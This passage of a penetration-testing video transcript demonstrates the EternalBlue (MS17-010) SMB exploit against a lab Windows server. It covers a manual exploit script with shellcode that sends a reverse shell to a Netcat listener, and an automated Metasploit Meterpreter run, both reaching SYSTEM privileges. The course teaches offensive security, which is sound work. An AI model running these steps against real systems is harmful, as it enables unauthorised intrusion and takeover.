So I'm going to hit Enter.

00:15:34.700 --> 00:15:38.840 align:middle line:84%
It's going to listen on all
my interfaces on port 1234,

00:15:38.840 --> 00:15:41.970 align:middle line:84%
and we can now begin
the actual exploitation.

00:15:41.970 --> 00:15:42.470 align:middle line:90%
All right.

00:15:42.470 --> 00:15:44.630 align:middle line:84%
So we'll take a step back
because we're currently

00:15:44.630 --> 00:15:46.280 align:middle line:90%
within the Shellcode directory.

00:15:46.280 --> 00:15:50.150 align:middle line:84%
So we'll say cd, and if we
list out the files here,

00:15:50.150 --> 00:15:54.590 align:middle line:84%
we can now utilize the
eternalblue_exploit7.py file.

00:15:54.590 --> 00:15:56.660 align:middle line:84%
And of course, you
can use the exploit--

00:15:56.660 --> 00:15:59.150 align:middle line:84%
EternalBlue exploit8 if
you're targeting a Windows

00:15:59.150 --> 00:16:02.540 align:middle line:84%
8 or Windows 8.1 system,
and of course, that

00:16:02.540 --> 00:16:04.320 align:middle line:90%
is the same for Windows 10.

00:16:04.320 --> 00:16:08.030 align:middle line:84%
So what we'll do is I will
provide this particular Python

00:16:08.030 --> 00:16:11.240 align:middle line:84%
file with executable
permissions, so EternalBlue,

00:16:11.240 --> 00:16:15.720 align:middle line:90%
and we will say exploit7.py.

00:16:15.720 --> 00:16:16.220 align:middle line:90%
All right.

00:16:16.220 --> 00:16:18.650 align:middle line:84%
And if I list out
the files now, you

00:16:18.650 --> 00:16:20.550 align:middle line:84%
can see that it's now
highlighted in green,

00:16:20.550 --> 00:16:22.320 align:middle line:90%
which means we can execute it.

00:16:22.320 --> 00:16:25.220 align:middle line:84%
So to execute it, I'm going
to say Python and then

00:16:25.220 --> 00:16:27.316 align:middle line:90%
eternalblue_exploit7.py.

00:16:27.316 --> 00:16:30.420 align:middle line:90%


00:16:30.420 --> 00:16:33.480 align:middle line:84%
I then specify the target IP
address, which, in this case,

00:16:33.480 --> 00:16:35.070 align:middle line:90%
is 10.10.10.12.

00:16:35.070 --> 00:16:37.230 align:middle line:84%
And then, I need to
specify the shellcode

00:16:37.230 --> 00:16:39.730 align:middle line:84%
that we want to execute
on the target system.

00:16:39.730 --> 00:16:42.390 align:middle line:84%
So I'll say shellcode,
and then, remember,

00:16:42.390 --> 00:16:46.230 align:middle line:84%
we are going to be
utilizing the shellcode x64

00:16:46.230 --> 00:16:48.570 align:middle line:84%
because the target
operating system here

00:16:48.570 --> 00:16:51.750 align:middle line:84%
is a 64-bit version
of Windows Server.

00:16:51.750 --> 00:16:56.220 align:middle line:84%
And we're going
to say sc_x64.bin.

00:16:56.220 --> 00:16:59.100 align:middle line:84%
All right, and we are going to
hit Enter, and then, of course,

00:16:59.100 --> 00:17:02.290 align:middle line:84%
on our Netcat listener, we
should get a command shell.

00:17:02.290 --> 00:17:02.790 align:middle line:90%
All right.

00:17:02.790 --> 00:17:04.290 align:middle line:90%
So I'm going to hit Enter.

00:17:04.290 --> 00:17:06.839 align:middle line:84%
And it's going to tell us right
over here the shellcode size.

00:17:06.839 --> 00:17:10.710 align:middle line:84%
The target operating system
is Windows Server 2008 R2.

00:17:10.710 --> 00:17:16.050 align:middle line:84%
SMB session startup or setup
allocate nonpaged pool success,

00:17:16.050 --> 00:17:18.339 align:middle line:84%
and it tells us done
right over here.

00:17:18.339 --> 00:17:18.839 align:middle line:90%
All right.

00:17:18.839 --> 00:17:20.760 align:middle line:84%
So if we take a look
at our Netcat listener,

00:17:20.760 --> 00:17:25.470 align:middle line:84%
you can see we get a connection
from the Kali Linux system,

00:17:25.470 --> 00:17:28.950 align:middle line:84%
or we get a connection
on our Kali Linux system

00:17:28.950 --> 00:17:32.423 align:middle line:84%
from the target system,
and we get a command shell.

00:17:32.423 --> 00:17:33.090 align:middle line:90%
So there we are.

00:17:33.090 --> 00:17:36.990 align:middle line:84%
Microsoft Windows
version 6.1.7601.

00:17:36.990 --> 00:17:39.090 align:middle line:90%
And if I type in, who am I?

00:17:39.090 --> 00:17:42.570 align:middle line:84%
You can see NT AUTHORITY
SYSTEM, and we've successfully

00:17:42.570 --> 00:17:47.190 align:middle line:84%
been able to exploit the
MS17-010 vulnerability

00:17:47.190 --> 00:17:50.460 align:middle line:84%
through the use of a
manual exploit code

00:17:50.460 --> 00:17:52.980 align:middle line:84%
or a set of
exploitation scripts.

00:17:52.980 --> 00:17:55.530 align:middle line:84%
All right, and of course, this
is a standard command shell.

00:17:55.530 --> 00:17:58.320 align:middle line:84%
We really can't do anything
advanced that you typically

00:17:58.320 --> 00:18:01.750 align:middle line:84%
associate with a Meterpreter
session, for example.

00:18:01.750 --> 00:18:05.160 align:middle line:84%
So that is how to perform or how
to exploit this vulnerability

00:18:05.160 --> 00:18:06.060 align:middle line:90%
manually.

00:18:06.060 --> 00:18:08.670 align:middle line:84%
In terms of doing
this automatically--

00:18:08.670 --> 00:18:12.960 align:middle line:84%
let me just terminate the actual
command shell session there.

00:18:12.960 --> 00:18:14.950 align:middle line:84%
If we want to do
this automatically,

00:18:14.950 --> 00:18:17.550 align:middle line:90%
we can open up MSF console.

00:18:17.550 --> 00:18:20.160 align:middle line:84%
And I'm going to give this a
couple of seconds to start up.

00:18:20.160 --> 00:18:22.230 align:middle line:84%
So I'll zoom in a
little bit there,

00:18:22.230 --> 00:18:24.540 align:middle line:84%
and we're just going to
wait for this to start up.

00:18:24.540 --> 00:18:26.220 align:middle line:90%
It usually takes quite a while.

00:18:26.220 --> 00:18:30.060 align:middle line:84%
There we are, starting the
Metasploit framework console.

00:18:30.060 --> 00:18:31.290 align:middle line:90%
And yeah, there we are.

00:18:31.290 --> 00:18:33.070 align:middle line:90%
So we have the MS 6 prompt.

00:18:33.070 --> 00:18:35.970 align:middle line:84%
So we can search for the
EternalBlue exploit code.

00:18:35.970 --> 00:18:38.550 align:middle line:84%
So we can say
search EternalBlue.

00:18:38.550 --> 00:18:41.680 align:middle line:84%
And there are two types of
modules that we can use.

00:18:41.680 --> 00:18:43.170 align:middle line:84%
We have the auxiliary
module, which

00:18:43.170 --> 00:18:46.390 align:middle line:84%
will essentially tell you
whether the target system is

00:18:46.390 --> 00:18:46.890 align:middle line:90%
vulnerable.

00:18:46.890 --> 00:18:48.250 align:middle line:90%
This is the one here.

00:18:48.250 --> 00:18:50.930 align:middle line:84%
So you can see
auxiliary/scanner/smb/smb ms17

00:18:50.930 --> 00:18:53.400 align:middle line:90%
010.

00:18:53.400 --> 00:18:55.980 align:middle line:84%
This will tell you whether
you can perform a remote code

00:18:55.980 --> 00:18:59.550 align:middle line:84%
execution or you can run the
following exploit module right

00:18:59.550 --> 00:19:00.390 align:middle line:90%
over here.

00:19:00.390 --> 00:19:02.610 align:middle line:84%
We already know that the
target is vulnerable,

00:19:02.610 --> 00:19:05.490 align:middle line:84%
so we will go directly to
the exploitation process.

00:19:05.490 --> 00:19:08.790 align:middle line:84%
And we'll copy that particular
exploit module name there.

00:19:08.790 --> 00:19:13.191 align:middle line:84%
And we will say use,
paste that in there.

00:19:13.191 --> 00:19:16.770 align:middle line:84%
It's going to default to the
x64 Meterpreter payload, which

00:19:16.770 --> 00:19:18.070 align:middle line:90%
is perfectly fine.

00:19:18.070 --> 00:19:20.220 align:middle line:84%
And of course, this
is a staged payload.

00:19:20.220 --> 00:19:23.730 align:middle line:90%
And we can say show options.

00:19:23.730 --> 00:19:26.520 align:middle line:84%
And we have the ability
of changing our IP address

00:19:26.520 --> 00:19:27.930 align:middle line:90%
or specifying that option.

00:19:27.930 --> 00:19:29.550 align:middle line:90%
In this case, it's already set.

00:19:29.550 --> 00:19:32.760 align:middle line:84%
And we can also change the
LPORT option based on the ports

00:19:32.760 --> 00:19:34.290 align:middle line:90%
that we currently have open.

00:19:34.290 --> 00:19:36.790 align:middle line:84%
We then need to set up
the target IP address.

00:19:36.790 --> 00:19:42.245 align:middle line:84%
So we can say set
RHOSTS 10.10.10.12.

00:19:42.245 --> 00:19:43.760 align:middle line:84%
And of course,
that's in my case.

00:19:43.760 --> 00:19:46.280 align:middle line:84%
In your case, the target
IP will be different.

00:19:46.280 --> 00:19:47.820 align:middle line:90%
And that's pretty much it.

00:19:47.820 --> 00:19:49.970 align:middle line:84%
So if I type in
exploit, you'll see

00:19:49.970 --> 00:19:53.880 align:middle line:84%
that we'll get a Meterpreter
session in just a few seconds.

00:19:53.880 --> 00:19:54.380 align:middle line:90%
All right.

00:19:54.380 --> 00:19:55.047 align:middle line:90%
So there we are.

00:19:55.047 --> 00:19:56.600 align:middle line:90%
You can see it's going to say--

00:19:56.600 --> 00:19:59.308 align:middle line:84%
it's going to use the auxiliary
scanner module to tell you

00:19:59.308 --> 00:20:00.350 align:middle line:90%
whether it is vulnerable.

00:20:00.350 --> 00:20:02.330 align:middle line:84%
It's going to tell
us the host is likely

00:20:02.330 --> 00:20:05.720 align:middle line:84%
vulnerable to the
MS17-010 vulnerability,

00:20:05.720 --> 00:20:07.973 align:middle line:84%
and it's then going to begin
the exploitation process.

00:20:07.973 --> 00:20:09.890 align:middle line:84%
So I'm going to give
this a couple of seconds.

00:20:09.890 --> 00:20:12.330 align:middle line:90%


00:20:12.330 --> 00:20:12.830 align:middle line:90%
All right.

00:20:12.830 --> 00:20:14.690 align:middle line:84%
So after a couple
of seconds, you

00:20:14.690 --> 00:20:16.580 align:middle line:84%
can see it will send
the stage, and we

00:20:16.580 --> 00:20:17.930 align:middle line:90%
get a Meterpreter session.

00:20:17.930 --> 00:20:20.330 align:middle line:84%
And it tells right
over here win.

00:20:20.330 --> 00:20:21.690 align:middle line:90%
That is pretty much it.

00:20:21.690 --> 00:20:24.680 align:middle line:84%
So you can see that this module
is very helpful in automating

00:20:24.680 --> 00:20:26.310 align:middle line:90%
the exploitation process.

00:20:26.310 --> 00:20:28.610 align:middle line:84%
However, as I've
mentioned previously,

00:20:28.610 --> 00:20:30.083 align:middle line:84%
it's very important
to know what's

00:20:30.083 --> 00:20:31.250 align:middle line:90%
happening in the background.

00:20:31.250 --> 00:20:32.990 align:middle line:84%
And the only way
you can learn that

00:20:32.990 --> 00:20:37.820 align:middle line:84%
is by performing the exploit or
by using the exploit manually

00:20:37.820 --> 00:20:40.460 align:middle line:84%
and going through the actual
exploitation procedures

00:20:40.460 --> 00:20:42.050 align:middle line:90%
of generating the shellcode.

00:20:42.050 --> 00:20:44.043 align:middle line:84%
And of course, with
the exploit code,

00:20:44.043 --> 00:20:45.710 align:middle line:84%
you have the ability
of going through it

00:20:45.710 --> 00:20:48.750 align:middle line:84%
and taking a look at
how it actually works.

00:20:48.750 --> 00:20:50.630 align:middle line:84%
So again, for example,
I can head over

00:20:50.630 --> 00:20:52.260 align:middle line:90%
into the GitHub repository.

00:20:52.260 --> 00:20:54.680 align:middle line:84%
And you can go ahead and
take a look at how it works

00:20:54.680 --> 00:20:56.570 align:middle line:90%
and what exactly it is doing.

00:20:56.570 --> 00:21:00.590 align:middle line:84%
So that is going to conclude
the practical demonstration

00:21:00.590 --> 00:21:01.880 align:middle line:90%
side of this video.

00:21:01.880 --> 00:21:06.080 align:middle line:84%
However, before we
actually exit or get

00:21:06.080 --> 00:21:08.150 align:middle line:84%
done with the practical
demonstration,

00:21:08.150 --> 00:21:11.700 align:middle line:84%
if I type in get user ID, you
can see NT AUTHORITY SYSTEM.

00:21:11.700 --> 00:21:14.840 align:middle line:84%
So this particular exploit
is extremely powerful.

00:21:14.840 --> 00:21:18.830 align:middle line:84%
And as I said, it is
essentially a one-stop-shop

00:21:18.830 --> 00:21:21.140 align:middle line:84%
in terms of gaining
access to a Windows system

00:21:21.140 --> 00:21:24.560 align:middle line:84%
primarily because not only can
you gain access to a Windows

00:21:24.560 --> 00:21:28.850 align:middle line:84%
system, but you can also obtain
administrative privileges just

00:21:28.850 --> 00:21:32.340 align:middle line:84%
through one click or through the
use of one Metasploit module.

00:21:32.340 --> 00:21:32.840 align:middle line:90%
All right.

00:21:32.840 --> 00:21:36.860 align:middle line:84%
So that's going to conclude
the practical section.

00:21:36.860 --> 00:21:37.370 align:middle line:90%
All right.

00:21:37.370 --> 00:21:40.460 align:middle line:84%
So now that we've explored
how to exploit SMB

00:21:40.460 --> 00:21:44.600 align:middle line:84%
through brute force attacks
and utilizing PsExec,

00:21:44.600 --> 00:21:47.150 align:middle line:84%
and we've also explored
the process of exploiting

00:21:47.150 --> 00:21:49.610 align:middle line:84%
an inherent
vulnerability within SMB,

00:21:49.610 --> 00:21:53.060 align:middle line:84%
we can now turn our attention
to the next vulnerable service

00:21:53.060 --> 00:21:56.330 align:middle line:84%
or one of the most frequently
exploited Windows Services.

00:21:56.330 --> 00:22:00.680 align:middle line:84%
And that, of course, is RDP or
the Remote Desktop Protocol.

00:22:00.680 --> 00:22:04.390 align:middle line:84%
So I'll see you
in the next video.

00:22:04.390 --> 00:22:05.000 align:middle line:90%